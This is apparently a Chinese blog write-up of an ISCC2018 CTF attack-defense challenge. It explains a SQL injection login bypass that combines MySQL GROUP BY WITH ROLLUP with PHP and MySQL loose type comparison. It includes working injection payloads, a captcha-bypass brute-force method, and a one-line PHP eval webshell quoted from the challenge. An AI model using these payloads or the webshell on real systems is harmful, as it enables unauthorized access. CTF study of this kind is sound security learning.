iscc2018攻防

第15届(2018)全国大学生信息安全与对抗技术竞赛(ISCC2018)通知 第15届(2018)全国大学生信息安全与对抗技术竞赛(ISCC2018)通知 1 竞赛简介 信息安全已涉及到国家政治、经济、文化、社会和生态文明的建设,信息系统越发展到它的高级阶段,人们对其依赖性就越强,从某种程度上讲其越容易遭受攻击,遭受攻击的后果越严重。“网络安全和信息化是一体之两翼、驱动之双轮。没有网络安全就没有国家安全。”信息是社会发展的重要战略资源,国际上围绕信息的获取、使... 阅读详情

题记

 继续未完成的使命和历程,借助iscc线下攻防赛的复现,窥探一下攻防赛的思路与技巧。

正文

首先打开界面发现一个登陆界面一个注册界面,先看一个注册界面得源码如下:

<html>
<head>
    <title>注册</title>
</head>
<body>
    <h1 style='text-align:center'>注册</h1>
    <div style="text-align:center">
        <form action="register.php" method="GET">
            用户名:iscc_<input type="text"  name="uname" placeholder="请输入四位数字" />
            <br/><br/>
            密码:<input type="password" name="pwd"/>
            <br/><br/>
            <input type="submit" value="注册">
        </form>
    </div>
</body>
</html>

看主界面发现这是个提示,也就是真正得用户名是iscc+四位数字,并且注册功能已经关闭了。我们随便输入密码,用户名登陆,并用bp抓包。

查看返回包发现一个hint.txt,这是个提示,我们找到这个文件,如下

$sql="SELECT pwd FROM user WHERE uname = '{$_POST['uname']}'";
$query = mysqli_query($con,$sql); 
if (mysqli_num_rows($query) == 1) { 
    $key = mysqli_fetch_array($query);
    if($key['pwd'] == $_POST['pwd']) {
        echo "xxxxxxxxx";
    }else{
        echo "你这密码不太对啊";
    }
}else if(mysqli_num_rows($query) == 0){
    echo "你这密码不太对啊";
}
else{
    echo "数据太多了";
}

这应该是题目的部分源码,可以看出这里的逻辑就是,我们必须要使得提交的密码与查询出来的结果相同,但是这里的比较用的是==,也就是只需要满足弱类型比较下相等即可。

那么按照常规的思路,就是盲注注出密码,但是因为大多数关键词都被过滤了,所以盲注的思路在这里不可行。

group by与with rollup的妙用

这时要用到 mysql 中的 group by 的 with rollup 子句进行巧妙绕过。

group by ... with rollup 本身当然不是为了方便我们注入而设计的,这个语句在 sql 的数据统计方面有着很强大的功能,在这里简单介绍一下。

我这里用自己手里的 2004-2017 年全国 259 所高校在某地区招生数据做一下演示。

我们知道 group by 语句可以实现对查询的结果分类,比如如果我们想要统计各类高校各有多少所,可以这样:

 

mysql> select TYPE,count(NAME) from university where YEAR=2017 group by TYPE;
+--------------------------------------------------------------+-------------+
| TYPE                                                         | count(NAME) |
+--------------------------------------------------------------+-------------+
|                                                              |         135 |
| 211高校/一流大学建设高校                                        |           3 |
| 211高校/一流学科建设高校                                        |          30 |
| 211高校/一流学科建设高校/教育部直属                               |          36 |
| 211高校/双一流建设学科/教育部直属                                |           3 |
| 211高校/教育部直属                                             |           1 |
| 985高校/211高校                                               |           2 |
| 985高校/211高校/一流大学建设高校                                 |           7 |
| 985高校/211高校/一流大学建设高校/教育部直属                       |          31 |
| 985高校/211高校/教育部直属                                      |           1 |
| 一流学科建设高校                                               |           9 |
| 教育部直属                                                    |           1 |
+--------------------------------------------------------------+-------------+

 

如果我们还想在最后一行输出一下一共有多少所高校,就可以使用 with rollup子句,他将在最后添加一行数据,用来显示上面的数据的 “汇总” ,注意这个汇总并不是 求和,后面会解释。

 

mysql> select TYPE,count(NAME) from university WHERE YEAR=2017 group by TYPE WITH ROLLUP;
+--------------------------------------------------------------+-------------+
| TYPE                                                         | count(NAME) |
+--------------------------------------------------------------+-------------+
|                                                              |         135 |
| 211高校/一流大学建设高校                                        |           3 |
| 211高校/一流学科建设高校                                        |          30 |
| 211高校/一流学科建设高校/教育部直属                               |          36 |
| 211高校/双一流建设学科/教育部直属                                |           3 |
| 211高校/教育部直属                                             |           1 |
| 985高校/211高校                                               |           2 |
| 985高校/211高校/一流大学建设高校                                 |           7 |
| 985高校/211高校/一流大学建设高校/教育部直属                        |          31 |
| 985高校/211高校/教育部直属                                      |           1 |
| 一流学科建设高校                                                |           9 |
| 教育部直属                                                     |           1 |
| NULL                                                         |         259 |
+--------------------------------------------------------------+-------------+

 

大家可能发现了,在最后一行的数据中,除了数据的汇总,还有一个 NULL,这个NULL是用来表示非统计字段的。

那下面来解释一下,为什么说汇总不是 求和 ,假如我现在想查询各个类型的高校 2017 年在该地区的平均录取分数,并在最后输出所有高校的平均分:

 

mysql> select TYPE,avg(AVERAGESCORE) from university WHERE YEAR=2017 group by TYPE WITH ROLLUP;
+--------------------------------------------------------------+--------------------+
| TYPE                                                         | avg(AVERAGESCORE ) |
+--------------------------------------------------------------+--------------------+
|                                                              | 506.14814814814815 |
| 211高校/一流大学建设高校                                        |                526 |
| 211高校/一流学科建设高校                                        |  560.8333333333334 |
| 211高校/一流学科建设高校/教育部直属                               |  568.9722222222222 |
| 211高校/双一流建设学科/教育部直属                                 |  563.3333333333334 |
| 211高校/教育部直属                                             |                594 |
| 985高校/211高校                                               |              287.5 |
| 985高校/211高校/一流大学建设高校                                 |                638 |
| 985高校/211高校/一流大学建设高校/教育部直属                        |  551.3870967741935 |
| 985高校/211高校/教育部直属                                      |                  0 |
| 一流学科建设高校                                                |  437.6666666666667 |
| 教育部直属                                                     |                605 |
| NULL                                                         |  525.7837837837837 |
+--------------------------------------------------------------+--------------------+

可以看到,最后一行的结果并不是上面查询的结果的和,而是上面数据的平均值。

这样我们就可以看出,with rollup 子句,对数据进一步处理的方式,是由查询数据时,对数据处理使用的函数决定的。

如何绕过

我们继续看题目的源码,如下

$sql="SELECT pwd FROM user WHERE uname = '{$_POST['uname']}'";
$query = mysqli_query($con,$sql); 
if (mysqli_num_rows($query) == 1) { 
    $key = mysqli_fetch_array($query);
    if($key['pwd'] == $_POST['pwd']) {
        echo "xxxxxxxxx";
    }else{
        echo "你这密码不太对啊";
    }

既然我们无法猜出密码到底是什么,那么我们可不可以控制查询的结果是我们自己已知的呢?结合上面对group by ... with rollup语句的介绍,我们可以想到,我们可以控制查询的结果为NULL,再结合 PHP 的弱类型 null=='',就可以成功绕过了。

那么我们接下来只需要构造 payload,使得查询结果为 NULL, 但是要想使用group by ... with rollup构造出NULL的一个前提条件,就是查询出的结果不为空,那么我们就需要使 uname = '{$_POST['uname']}'这个条件成立,满足这个条件了,再结合limit和offset 很容易就可以返回的结果为NULL 。

那么如何满足这个前提条件呢?

姿势一

结合我们已经掌握的信息,在注册页面我们已经知道账户的格式是 ISCC_+四位数字,这里其实很明显是要我们去爆破,找到这个用户名,而登录的位置存在验证码,正常来讲是不能够爆破的,但是使用 Burpsuite 简单测试一下可以发现,网站并不是在用户提交表单后、判断验证码正确性之后就直接在后端生成新的验证码返回给前端,而是在前端进行请求,进行验证码的更新。也就是说,只要我们拦截/不发送这个请求,验证码就不会更新!

那么我们就可以进行爆破了,构造好 payload:

uname=iscc_0001'group by pwd with rollup limit 1 offset 1#&pwd=&yzm=6465

然后使用 Burpsuite 爆破即可。

 

在

uname=iscc_7980' group by pwd with rollup limit 1 offset 1#&pwd=&yzm=6465

这个payload的回显中发现注入成功。

 

姿势二

其实我们可以更轻松地满足 uname = '{$_POST['uname']}',就是利用 SQL 的弱类型,具体情况与 php 类似,我简单举几个例子,相信大家就能明白了。

mysql> select 'aaaa' = 0;
+------------+
| 'aaaa' = 0 |
+------------+
|          1 |
+------------+
1 row in set, 1 warning (0.00 sec)
​
mysql> select 'aaaa11' = 0;
+--------------+
| 'aaaa11' = 0 |
+--------------+
|            1 |
+--------------+
1 row in set, 1 warning (0.00 sec)
​
mysql> select '20aaaa' = 20;
+---------------+
| '20aaaa' = 20 |
+---------------+
|             1 |
+---------------+
1 row in set, 1 warning (0.00 sec)

sql在一个数值和字符串进行比较的时候,会将字符串转换成数值,观察上述代码,"aaaa"=0 比较的时候,会将aaaa转化成数值,强制转化,由于aaaa是字符串,转化的结果是0自然和0相等。

"20aaaa"==20 比较的时候会将20aaaa转化成数值,结果为20,而“aaaa11“=0 却为true,也就是"aaaa11"被转化成了0。

于是我们可以构造'1'^1=1^1=0=字母开头的字符串,使条件被满足。

于是最后的payload:

uname=1'^1 group by pwd with rollup limit 1 offset 1#&pwd=

 

或者

cc'^0 group by pwd with rollup limit 1 offset 1#&pwd=

 

只要最终为true就行

拼接后的 sql 语句就是:

SELECT pwd FROM user WHERE uname = '1'^1 group by pwd with rollup limit 1 offset 1#
SELECT pwd FROM user WHERE uname = 'cc'^0 group by pwd with rollup limit 1 offset 1#

 

getflag

成功注入后,会输出一个字符串

+ADg-d+ADIAMA-d+ADUANw-e+ADI-f+ADIAYgA5AGI-e+ADUALw-f+AGIAMwAw-e+ADcAMA-f+ADcAOAAxADMANAA4ADk-dd+AGE-e+ADcAOQBi-e+ADAANwA5ADIANQBhADMANABhAC4AcABoAHA-

是 utf-7 格式编码的 webshell 地址,写个python脚本进行解码

s='+ADg-d+ADIAMA-d+ADUANw-e+ADI-f+ADIAYgA5AGI-e+ADUALw-f+AGIAMwAw-e+ADcAMA-f+ADcAOAAxADMANAA4ADk-dd+AGE-e+ADcAOQBi-e+ADAANwA5ADIANQBhADMANABhAC4AcABoAHA-'
t=s.decode('utf-7')
print t

得到webshell的地址,接下来就可以开打了

<?php 
show_source(__FILE__);
@eval($_POST['pass']);?>

Think in Think

  sql注入的本质还是通过绕过,巧妙构造来利用,这个是不会变的,而我们测试的需要注意的是耐心与条理并行!

ISCC2018线下赛私地pwn 拿到题目,还是首先checksec,看开了什么保护。 开启了栈溢出检查,和栈执行保护。 首先这个题目,需要过四个phase,然后就能print_flag打印flag有点像计算机系统拆炸弹。 phase_1 第一个炸弹 要求输入一个数x,使得3*(2*x/37-18)-1=1337. 这里推荐一个z3求解器。 可以很好的解决一些求解不等式,求解方程的问题。 phase_2 要求输入一串数组... 阅读详情

相关推荐

浅谈云上攻防——云服务器攻防矩阵

前言 云服务器(Cloud Virtual Machine,CVM)是一种较为常见的云服务,为用户提供安全可靠以及高效的计算服务。用户可以灵活的扩展以及缩减计算资源,以适应变化的业务需求。使用云服务器可以极大降低用户的软硬件采购成本以及IT 运维成本。 由于云服务器中承载着用户的业务以及数据,其安全性尤为重要而云服务器的风险往往来自于两方面:云厂商平台侧的风险与用户在使用云服务器时的风险。与用户侧风险相比,平台侧的漏洞往往带来更广泛的影响,例如于2018 披露的AWS Launching EC2s di

YDclub的博客 3083

ISCC2018(最新的考核解析)

最近一直在做这个 ISCC2018,感觉可能自己只是一个新手吧!但是我会继续努力的,希望我的解题思路能够给你们带来一定的想法,我也希望自己能够在安全方面遇到更多志同道合的人! 1 导入一个文本中,然后使用ASCII码表一一对比进行解密 解题思路:首先需要把附件下载下来,然后放在winhex中就会看见有ASCII码,使用ASCII码表进行转换,就会得到最终的Unicode编码,进行解密...

落花四月 7273

红蓝攻防构建实战化网络安全防御体系

红队,是指网络实战攻防演练中的防守一方。红队一般是以参演单位现有的网络安全防护体系为基础,在实战 攻防演练期间组建的防守队伍。红队的主要工作包括演练前安全检 查、整改与加固,演练期间网络安全监测、预警、分析、验证、处 置,演练后期复盘和总结现有防护工作中的不足之处,为后续常态化 的网络安全防护措施提供优化依据等。

glb111的博客 5363

ISCC2018(misc)

ISCC2018 misc writeup(部分) 这些天做个了iscc题目,有些题目不是很难,网上都有相同的题或者类似的题目,但是我很菜,没做出来多少。 #misc1:Where is the FLAG? 题目是一张图片,如下: 看这图片,flag应该是在手势指向的方向,被隐藏起来了,想到修改图片高度。之后打开图片如下: #misc2:数字密文 这里有个很...

weixin_30663391的博客 530

SAP Ariba Procurement_Catalogs

SAP Ariba Procurement_Catalogs Search Functionality PunchOut Catalogs Spot Buy catalog

CZxx1的博客 1013

《Mac 配置 Codex App 代理完整指南:端口检测 + launchctl 设置 + 取消代理》

本文详细介绍 Mac 上 Codex App 代理配置完整流程,包括如何查看代理端口、如何使用 launchctl 设置 HTTP_PROXY / HTTPS_PROXY、如何验证代理是否生效以及如何取消代理配置。适用于 Mac Codex 代理、Mac HTTP_PROXY 设置、Mac ChatGPT 代理等开发环境场景。

weixin_50029578的博客 5337

ISCC 2018——write up

WEB Web1-比较数字大小 直接修改input 标签里的maxlength 为999突破长度限制,使得能输入大于999 的数,然后随便输一个数字就行了 或者post修改值 Web2-Web01 strcmp 漏洞,传入为数组时会出错,导致返回为0,所以传入password[]=1,得到flag Web3-为什么这么简单啊 简单?不存在,坑你没商量。看看它说了啥吧 第二关需要...

weixin_34062329的博客 1233

新手入门机器学习案例(附源代码)

无

guguo666的博客 6656

ISCC2018(web)

ISCC2018 web writeup (部分) #web1:比较数字大小 只要比服务器上的数字大就好了 限制了输入长度,更改长度就好 #web2: 普通的代码审计,数组绕过 #web3:本地的诱惑 小明扫描了他心爱的小红的电脑,发现开放了一个8013端口,但是当小明去访问的时候却发现只允许从本地访问,可他心爱的小红不敢让这个诡异的小明触碰她的电脑,可小...

weixin_30347009的博客 279

自动驾驶仿真:python和carsim联合仿真案例

carsim内部有许多相关联合仿真的demo,simulink、labview等等都有涉及,这里简单介绍下python和carsim联合仿真的方法,虽然carsim官方有个Steer_Control.py相关的案例,但是感觉比较冗余,这里抽出重点部分和大家交流探讨下。提示:以下是本篇文章正文内容,下面案例可供参考1、这里关于solvers的细节其实都没说,因为里面确实也没什么内容好讲的,本质就是调用carsim.dll,如果你需要更多的函数解析其实可以看vs_api.h,路径在,具体内容如下图所示。

zataji的博客 9062

【电机学复习笔记】同步电机的特性及参数的求取

同步电机的主要特性包括:空载特性、短路特性、零功率因数负载特性、外特性和调整特性。 基于以上特性我们可以实现: 从空载特性和短路特性求同步电抗的不饱和值和短路比; 从零功率因数负载特性和空载特性确定保梯电抗(定子漏抗)和电枢反应电动势

Pantrick_的博客 2万+

iscc线下攻防赛

比赛之前很紧张因为自己实力很差劲,比赛的时候虽然没有自己想的那么惨,因为有选择题也得到了一点分 ,但是下午的攻防赛还是很惨啊,拿到自己靶机的门槛太高了,拿不到私地flag然后也拿不到自己的靶机,攻不了也防不了,后期就看着别的队一轮一轮的刷掉我们100多分,当时的心情真的太难受了! 下午通网3个小时,在尝试拿flag的时候也搜到了很多上几次线下赛的大佬的一些经验!还有自己的一些小经验。 1.上午...

qq_43627239的博客 1567

qq对接openclaw,通过qq发送命令

把 OpenClaw 接入 QQ 和微信,目前主流的微信文章和教程主要提供了两种截然不同的路径。我为你梳理了它们的核心区别和关键步骤,你可以根据自己的需求来选择。

suny8的专栏 270

2018-2019-2 20189206 《网络攻防实践》 第二周作业

2018-2019-2 20189206 《网络攻防实践》 第二周作业 《网络攻防技术与实践》教材学习 FTP服务器 FTP服务器(File Transfer Protocol Server)是在互联网上提供文件存储和访问服务的计算机,它们依照FTP协议提供服务。 FTP是File Transfer Protocol(文件传输协议)。顾名思义,就是专门用来传输文件的协议。简单地说,支持FTP协...

weixin_30823001的博客 3837

Multisim14.0仿真(五十九)基于74LS161的24进制计数器应用设计

它具有同步预置、异步清零功能,支持并行数据加载,并可在计数使能控制下进行二进制计数。:低电平时,在下一个时钟上升沿加载输入数据(A, B, C, D)。(多个 74LS161D 串联构成 8 位、12 位等更长计数器)。低电平时,下一个时钟上升沿加载输入数据(A, B, C, D)。:低电平有效,立即清零计数器(不受时钟控制)。均为高电平时,每个时钟上升沿计数。:两者均为高电平时,计数器才能递增。:立即清零计数器(不受时钟控制)。(通过预置初始值控制计数范围)。(计数范围:0 ~ 15,即。

corlin6688的博客 4760

第14.10章 高翔博士最新开源框架Lightning-LM源码解读(十):在线定位run_loc_online涉及到的核心模块总结

本文对Lightning-LM激光SLAM定位框架进行了全面剖析。该框架是一个轻量高效的激光雷达建图与定位系统,支持3D SLAM、动态图层管理等功能。文章首先介绍了项目概况和源码结构,包括核心模块如定位系统(loc_system)、激光匹配(lidar_loc)和位姿图优化(pose_graph)等。接着详细解析了各模块的关键函数和运行流程,如数据接收处理、NDT匹配和位姿优化等。最后总结了学习该框架所需的C++知识要点,包括智能指针、多线程编程等现代C++特性。该分析为SLAM开发者提供了实用的架构参考

行知SLAM 801

ISCC2018 (比赛通知)

这个比赛是在今年的5月份举办的,当时没有写这个关于比赛的通道,今天补上吧,希望各位小伙伴不要介意哦! 第15届(2018)全国大学生信息安全与对抗技术竞赛(ISCC2018)通知 1 竞赛简介信息安全已涉及到国家政治、经济、文化、社会和生态文明的建设,信息系统越发展到它的高级阶段,人们对其依赖性就越强,从某种程度上讲其越容易遭受攻击,遭受攻击的...

weixin_34255055的博客 344

RU DOS版、EFI版32bit/64bit BIOS常用工具

DOS版、EFI版的RU工具,可用来查看IO、MEM、PCI、SMBIOS等资源。亲测在EFI SHELL下可用。

第16届(2019)全国大学生信息安全与对抗技术竞赛(ISCC2019)通知

转载自http://www.isclab.org.cn/archives/2019/04/5806.html 第16届(2019)全国大学生信息安全与对抗技术竞赛(ISCC2019)通知 1 竞赛简介 信息安全已涉及到国家政治、经济、文化、社会和生态文明的建设,信息系统越发展到它的高级阶段,人们对其依赖性就越强,从某种程度上讲其越容易遭受攻击,遭受攻击的后果越严重。“网络安全和信...

ISCC的博客 5932

TMS_WebGMaps_1.9.8.0_Full_Source

TMS_WebGMaps_1.9.8.0_Full_Source 全源码 delphi cbuilder

汉书HE8,好用的汇编代码编写工具

汉书HE8,好用的汇编代码编写工具早期编写汇编代码所用功能强大

攻防世界 misc高手进阶区

攻防世界 misc高手进阶区每日打卡~~~base64÷4embarrass神奇的Modbuswireshark-1pure_colorAesop_secreta_good_idea 每日打卡~~~ 小萌新正在探索的路上~ 这里会记录自己做题的过程和方法,会持续更新的~ 争取每日打卡哒哒哒~ base64÷4 由题目可以得出关键信息——64÷4=16,所以该加密方式应该是base16~ 将文本复制后进行base64解密得到原文: flag{E33B7FD8A3B841CA9699EDDBA24B60A

Bok_choy的博客 4222

计算机信息安全攻防大赛,2018年度信息安全攻防大赛圆满收官

原标题:2018年度信息安全攻防大赛圆满收官 冰与火之歌红与蓝对决2018年度信息安全攻防大赛圆满收官6月22日,中国银行软件中心2018年度信息安全攻防大赛落下帷幕。经过一天激烈的角逐,信息安全攻防大赛决赛顺利结束,也意味着本次攻防比赛工作圆满收官。赛况为了全面动员和激励广大青年员工立足岗位工作,不断提高安全技术,软件中心于5月份开始筹备2018年度信息安全攻防大赛。比赛分为初赛、决赛两个阶段。...

weixin_33914982的博客 518

2018-2019-2 20189221 《网络攻防技术》第二周作业

2018-2019-2 20189221 《网络攻防技术》第二周作业 一、教材学习:《网络攻防技术与实践》 第 1 章:网络攻防技术概述 学习了一个典型案例——“黛蛇蠕虫”的发生过程、原理、应急处置和利用metasploit、虚拟蜜网等技术重现的传播场景。 学习了黑客与黑客道的起源、发展史、黑客精神:黑客(hacker)原为褒义,发展的过程中有了贬义的内容。现阶段,黑客通常有两种理解方式——真正的...

weixin_30375247的博客 233

2018-2019-2 20189206 《网络攻防实践》 第七周作业

2018-2019-2 20189206 《网络攻防实践》 第七周作业 课本学习 Windows操作系统安全攻防 Windows操作系统的基本结构 Windows采用宏内核模式来进行架构,大量的内核模块与设备驱动程序共享内核态内存空间,为了避免内核模块遭受攻击,要求所有请求安装进入内核执行的设备驱动程序都需要经过数字签名。 Windows操作系统的基本结构如图所示,分为: 运行于处理器特权模...

weixin_30321709的博客 305

攻防世界 Crypto高手进阶区 4分题 streamgame2

继续ctf的旅程,攻防世界Crypto高手进阶区的4分题,本篇是streamgame2的writeup

闵行小鱼塘 1181

2018-2019-2 20189215 《网络攻防技术》第八周作业

教材《网络攻防技术》第八章学习 第8章 Linux操作系统安全攻防 8.1 Linux操作系统基本框架概述 Linux操作系统在服务器、安全敏感部门以及移动终端市场上占据重要地位,也极大地影响着Windows、Nac OS等其他操作系统的发展。 Linux的优势 开放源代码与免费 跨平台的硬件支持 丰富的软件支持 多用户多任务 可靠的安全性 良好的稳定性 完善的网络功能 Linu...

weixin_30878501的博客 340

深信服2018秋招安全攻防笔试题

深信服2018秋招安全攻防笔试题 一、题型分布 二、单选题 题目比较多,记不清了 但主要是考基础知识,TCP 四层模型、病毒反调试特征、躲避杀软检测的方法。 其中web方面比较多一些,这方面比较欠缺,不太熟悉 三、不定项 基础题型, 有道是关于反汇编工具的; objdump、peid、OD、IDA pro中不能反汇编的是哪个 四、填空题 忘了什么题,尴尬

书外人生的博客 4451

体系化、常态化、实战化的攻防演练的现状

我国实战攻防演练的发展分为两个阶段:第一阶段是试验阶段, 以学习先进实战经验为主,参演单位少,演练范围小;第二阶段是推 广阶段,实战演练发展飞速,参演单位数量暴增,演练走向规模化。

securitypaper的博客 1749
上一篇: RFI绕过URL包含限制getshell
JBlock
博客等级 码龄9年 189粉丝 62原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值